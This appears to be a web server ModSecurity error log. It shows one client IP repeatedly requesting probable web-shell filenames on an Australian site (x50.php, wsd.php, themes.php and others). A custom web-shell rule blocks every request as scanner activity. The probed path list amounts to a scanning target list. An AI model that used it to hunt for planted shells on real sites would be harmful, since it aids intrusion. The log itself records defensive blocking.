[Sat Jan 03 03:37:26.139684 2026] [:error] [pid 1930:tid 1977] [client 4.194.208.111:18121] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aVgedpP-6mqhfUDa89y8VgAAAEs"]
[Sat Jan 03 03:37:26.466841 2026] [:error] [pid 1930:tid 1979] [client 4.194.208.111:18166] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aVgedpP-6mqhfUDa89y8VwAAAE0"]
[Sat Jan 03 03:37:26.733636 2026] [:error] [pid 2083:tid 2099] [client 4.194.208.111:18122] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aVgedjVlR_BmlMPnhV6fDgAAAM4"]
[Sat Jan 03 03:37:26.962216 2026] [:error] [pid 1930:tid 1980] [client 4.194.208.111:18055] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aVgedpP-6mqhfUDa89y8WAAAAE4"]
[Sat Jan 03 03:37:27.196132 2026] [:error] [pid 1931:tid 1994] [client 4.194.208.111:18146] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aVgedx8Tyw7ZoIdXlcbc3QAAAIE"]
[Sat Jan 03 03:37:27.440474 2026] [:error] [pid 1930:tid 1973] [client 4.194.208.111:18073] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aVged5P-6mqhfUDa89y8WwAAAEc"]
[Sat Jan 03 03:37:27.662741 2026] [:error] [pid 1931:tid 2035] [client 4.194.208.111:18154] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aVgedx8Tyw7ZoIdXlcbc3wAAAIs"]
[Sat Jan 03 03:37:28.035640 2026] [:error] [pid 1931:tid 1999] [client 4.194.208.111:18060] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aVgeeB8Tyw7ZoIdXlcbc4AAAAIM"]
[Sat Jan 03 03:37:28.431242 2026] [:error] [pid 1929:tid 1947] [client 4.194.208.111:18136] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aVgeeOcFqdpu6TNsuWqzngAAAAk"]
[Sat Jan 03 03:37:28.782253 2026] [:error] [pid 1931:tid 2045] [client 4.194.208.111:10192] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aVgeeB8Tyw7ZoIdXlcbc4gAAAJU"]
[Sat Jan 03 03:37:29.318253 2026] [:error] [pid 2083:tid 2109] [client 4.194.208.111:18133] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aVgeeTVlR_BmlMPnhV6fEQAAANg"]
[Sat Jan 03 03:37:29.796282 2026] [:error] [pid 2083:tid 2090] [client 4.194.208.111:18096] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aVgeeTVlR_BmlMPnhV6fEgAAAMU"]
[Sat Jan 03 03:37:30.172208 2026] [:error] [pid 2083:tid 2107] [client 4.194.208.111:18160] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aVgeejVlR_BmlMPnhV6fFQAAANY"]
[Sat Jan 03 03:37:30.570563 2026] [:error] [pid 2083:tid 2093] [client 4.194.208.111:18062] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aVgeejVlR_BmlMPnhV6fFwAAAMg"]
[Sat Jan 03 03:37:30.800540 2026] [:error] [pid 2083:tid 2085] [client 4.194.208.111:18090] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aVgeejVlR_BmlMPnhV6fGAAAAMA"]
[Sat Jan 03 03:37:31.112703 2026] [:error] [pid 2083:tid 2095] [client 4.194.208.111:18070] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aVgeezVlR_BmlMPnhV6fGQAAAMo"]
[Sat Jan 03 03:37:31.438723 2026] [:error] [pid 1930:tid 1988] [client 4.194.208.111:18164] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVgee5P-6mqhfUDa89y8YQAAAFY"]
[Sat Jan 03 03:37:32.200016 2026] [:error] [pid 2083:tid 2099] [client 4.194.208.111:18143] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVgefDVlR_BmlMPnhV6fHQAAAM4"]
[Sat Jan 03 03:37:32.486576 2026] [:error] [pid 2083:tid 2101] [client 4.194.208.111:18059] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVgefDVlR_BmlMPnhV6fHgAAANA"]
[Sat Jan 03 03:37:32.786914 2026] [:error] [pid 1931:tid 1993] [client 4.194.208.111:10181] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVgefB8Tyw7ZoIdXlcbc6gAAAIA"]
[Sat Jan 03 03:37:33.132081 2026] [:error] [pid 1931:tid 2032] [client 4.194.208.111:18137] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aVgefR8Tyw7ZoIdXlcbc6wAAAIg"]
[Sat Jan 03 03:37:33.631643 2026] [:error] [pid 1931:tid 2048] [client 4.194.208.111:10199] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aVgefR8Tyw7ZoIdXlcbc7AAAAJg"]
[Sat Jan 03 03:37:33.872914 2026] [:error] [pid 1931:tid 2027] [client 4.194.208.111:18125] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aVgefR8Tyw7ZoIdXlcbc7QAAAIQ"]
[Sat Jan 03 03:37:34.212357 2026] [:error] [pid 2083:tid 2108] [client 4.194.208.111:18068] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aVgefjVlR_BmlMPnhV6fIAAAANc"]
[Sat Jan 03 03:37:34.549201 2026] [:error] [pid 2083:tid 2088] [client 4.194.208.111:18054] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aVgefjVlR_BmlMPnhV6fIQAAAMM"]
[Sat Jan 03 03:37:34.891167 2026] [:error] [pid 1931:tid 2036] [client 4.194.208.111:18150] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aVgefh8Tyw7ZoIdXlcbc7wAAAIw"]
[Sat Jan 03 03:37:35.236603 2026] [:error] [pid 1930:tid 1979] [client 4.194.208.111:18072] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aVgef5P-6mqhfUDa89y8ZwAAAE0"]
[Sat Jan 03 03:37:35.580297 2026] [:error] [pid 1929:tid 1945] [client 4.194.208.111:18112] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aVgef-cFqdpu6TNsuWqzpQAAAAc"]
[Sat Jan 03 03:37:35.875225 2026] [:error] [pid 1930:tid 1980] [client 4.194.208.111:18140] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVgef5P-6mqhfUDa89y8aQAAAE4"]
[Sat Jan 03 03:37:36.413937 2026] [:error] [pid 1929:tid 1957] [client 4.194.208.111:10212] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVgegOcFqdpu6TNsuWqzpwAAABM"]
[Sat Jan 03 03:37:36.768359 2026] [:error] [pid 1931:tid 2043] [client 4.194.208.111:18067] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVgegB8Tyw7ZoIdXlcbc8gAAAJM"]
[Sat Jan 03 03:37:37.041608 2026] [:error] [pid 1930:tid 1973] [client 4.194.208.111:18105] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVgegZP-6mqhfUDa89y8awAAAEc"]
[Sat Jan 03 03:37:37.433343 2026] [:error] [pid 2083:tid 2087] [client 4.194.208.111:18117] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aVgegTVlR_BmlMPnhV6fIgAAAMI"]
[Sat Jan 03 03:37:37.665353 2026] [:error] [pid 1929:tid 1938] [client 4.194.208.111:18161] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aVgegecFqdpu6TNsuWqzqgAAAAA"]
[Sat Jan 03 03:37:38.005893 2026] [:error] [pid 1931:tid 2038] [client 4.194.208.111:18141] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aVgegh8Tyw7ZoIdXlcbc9QAAAI4"]
[Sat Jan 03 03:37:38.236958 2026] [:error] [pid 2083:tid 2109] [client 4.194.208.111:18076] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aVgegjVlR_BmlMPnhV6fJQAAANg"]
[Sat Jan 03 03:37:38.651832 2026] [:error] [pid 1931:tid 2047] [client 4.194.208.111:18089] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aVgegh8Tyw7ZoIdXlcbc9gAAAJc"]
[Sat Jan 03 03:37:38.954456 2026] [:error] [pid 1930:tid 1970] [client 4.194.208.111:18091] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aVgegpP-6mqhfUDa89y8bwAAAEQ"]
[Sat Jan 03 03:37:39.291013 2026] [:error] [pid 1931:tid 2029] [client 4.194.208.111:18119] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aVgegx8Tyw7ZoIdXlcbc-AAAAIU"]
[Sat Jan 03 03:37:39.663702 2026] [:error] [pid 1929:tid 1943] [client 4.194.208.111:18139] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aVgeg-cFqdpu6TNsuWqzrQAAAAU"]
[Sat Jan 03 03:37:40.027749 2026] [:error] [pid 1929:tid 1953] [client 4.194.208.111:18078] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aVgehOcFqdpu6TNsuWqzrgAAAA8"]
[Sat Jan 03 03:37:40.303909 2026] [:error] [pid 1931:tid 1993] [client 4.194.208.111:10182] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aVgehB8Tyw7ZoIdXlcbc-wAAAIA"]
[Sat Jan 03 03:37:40.604377 2026] [:error] [pid 1931:tid 2044] [client 4.194.208.111:10231] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aVgehB8Tyw7ZoIdXlcbc_QAAAJQ"]
[Sat Jan 03 03:37:40.975857 2026] [:error] [pid 1931:tid 2039] [client 4.194.208.111:18103] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aVgehB8Tyw7ZoIdXlcbc_wAAAI8"]
[Sat Jan 03 03:37:41.498692 2026] [:error] [pid 1929:tid 1944] [client 4.194.208.111:10177] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVgehecFqdpu6TNsuWqzsQAAAAY"]
[Sat Jan 03 03:37:41.868028 2026] [:error] [pid 1929:tid 1962] [client 4.194.208.111:18149] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVgehecFqdpu6TNsuWqzsgAAABg"]
[Sat Jan 03 03:37:42.223216 2026] [:error] [pid 1930:tid 1983] [client 4.194.208.111:18104] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVgehpP-6mqhfUDa89y8cgAAAFE"]
[Sat Jan 03 03:37:42.641269 2026] [:error] [pid 1930:tid 1969] [client 4.194.208.111:18061] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVgehpP-6mqhfUDa89y8cwAAAEM"]
[Sat Jan 03 03:37:43.038810 2026] [:error] [pid 1930:tid 1990] [client 4.194.208.111:10233] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aVgeh5P-6mqhfUDa89y8dQAAAFg"]
[Sat Jan 03 03:37:43.605155 2026] [:error] [pid 1930:tid 1980] [client 4.194.208.111:18131] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aVgeh5P-6mqhfUDa89y8eQAAAE4"]
[Sat Jan 03 03:37:43.885310 2026] [:error] [pid 1930:tid 1972] [client 4.194.208.111:18128] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aVgeh5P-6mqhfUDa89y8egAAAEY"]
[Sat Jan 03 03:37:44.191763 2026] [:error] [pid 1930:tid 1968] [client 4.194.208.111:18050] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aVgeiJP-6mqhfUDa89y8ewAAAEI"]
[Sat Jan 03 03:37:44.428635 2026] [:error] [pid 1930:tid 1976] [client 4.194.208.111:18065] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aVgeiJP-6mqhfUDa89y8fQAAAEo"]
[Sat Jan 03 03:37:44.827229 2026] [:error] [pid 1929:tid 1942] [client 4.194.208.111:18147] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aVgeiOcFqdpu6TNsuWqztQAAAAQ"]
[Sat Jan 03 03:37:45.163065 2026] [:error] [pid 1931:tid 2045] [client 4.194.208.111:18168] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aVgeiR8Tyw7ZoIdXlcbdBQAAAJU"]
[Sat Jan 03 03:37:45.474809 2026] [:error] [pid 1929:tid 1938] [client 4.194.208.111:18080] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aVgeiecFqdpu6TNsuWqztgAAAAA"]
